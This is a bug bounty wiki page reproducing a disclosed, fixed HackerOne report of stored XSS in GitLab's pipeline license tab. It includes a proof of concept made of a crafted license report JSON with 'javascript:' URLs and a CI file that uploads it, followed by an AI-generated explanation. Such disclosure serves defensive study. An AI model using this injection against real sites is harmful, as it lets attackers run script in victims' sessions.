Stored XSS on Pipeline License Tab
The license management tab rendered a URL from an uploaded license report without validating its scheme, so a report containing a javascript: URL produced a stored cross-site scripting issue. An attacker could run script in the browser of anyone who opened the pipeline's license tab.
GitLab
Originally disclosed on GitLab
- Fixed in 3 months
- Disclosed after 3 months
Link: https://hackerone.com/reports/414341
By: @ngalog
Details: Summary: License Management Accept external URL clicking, and that URL accept any schema, such as javascript. It allows attacker to perform XSS on user when browsing pipelines license management tab.
Quick PoC
Visit https://gitlab.com/golduserngalog/bugbountyref/pipelines/31196139/licenses Click MIT, click URL, alert box will show up
Steps To Reproduce:
Fork https://gitlab.com/golduserngalog/bugbountyref/ and trigger CI/CD And visit the pipeline to look for the license and click license tab and click URL
Why
Because when the file uploaded as artifacts, the url didn't escape the schema properly
file name: gl-license-management-report.json
{
"licenses": [
{
"count": 1,
"name": "GNU Affero General Public License v3"
},
{
"count": 1,
"name": "MIT"
}
],
"dependencies": [
{
"license": {
"name": "GNU Affero General Public License v3",
"url":"javascript:alert(document.domain)"
},
"dependency": {
"name": "freeze",
"url": "https://github.com/adfinis-sygroup/freeze",
"description": "Freeze - dump / hash / sort / compare / diff anything",
"pathes": [
"."
]
}
},
{
"license": {
"name": "MIT",
"url": "javascript:alert(document.domain)"
},
"dependency": {
"name": "six",
"url": "http://pypi.python.org/pypi/six/",
"description": "Python 2 and 3 compatibility utilities",
"pathes": [
"."
]
}
}
]
}
Also, this file alone won't trigger the license tab, you will need the upload this file as artifacts as well.
PoC .gitlab-ci.yml
image: "alpine"
a:
script:
- echo "scddript"
- echo "a"
cache:
key: "yoyaoyoasdf"
policy: push #or push if you like to poison
paths:
- .
license_management:
image: docker:stable
stage: test
variables:
DOCKER_DRIVER: overlay2
allow_failure: true
services:
- docker:stable-dind
script:
- export LICENSE_MANAGEMENT_VERSION=$(echo "$CI_SERVER_VERSION" | sed 's/^\([0-9]*\)\.\([0-9]*\).*/\1-\2-stable/')
- docker run
--volume "$PWD:/code"
"registry.gitlab.com/gitlab-org/security-products/license-management:$LICENSE_MANAGEMENT_VERSION" analyze /code
- cat gl-license-management-report.json
artifacts:
paths: [gl-license-management-report.json]
Impact
Stored XSS
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the licence report's URL field was rendered as a clickable link without validating or escaping the URL scheme, so javascript: URLs were accepted.
What the attacker needed
Ability to run a pipeline and upload artifacts; victim opens the license tab and clicks the link
How it was found
- Fork the project and trigger CI/CD so a pipeline runs.
- Upload a crafted licence report as a pipeline artifact.
- Open the pipeline and go to the license tab.
- Click the licence URL, which runs the script.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A pipeline can produce a report listing the licences of the code it uses, and each licence entry has a link. The site showed that link without checking what kind of link it was, so a link starting with 'javascript:' ran code when clicked. That let an attacker run their own script inside the page of anyone who clicked it.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.